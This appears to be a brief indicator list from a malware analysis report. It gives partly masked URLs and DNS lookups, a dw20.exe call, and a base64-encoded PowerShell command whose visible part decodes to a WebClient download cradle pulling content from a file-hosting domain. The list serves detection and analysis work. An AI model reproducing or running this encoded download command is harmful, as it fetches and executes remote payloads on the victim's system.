Technical Information
- http://dp##te.com/8BDYMTNC3.txt
- DNS ASK dp##te.com
- DNS ASK d.###4top.io
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAC4AdABvAHAANAB0AG8AcAAuAGkAbwA...
- '%WINDIR%\microsoft.net\framework\v2.0.50727\dw20.exe' -x -s 436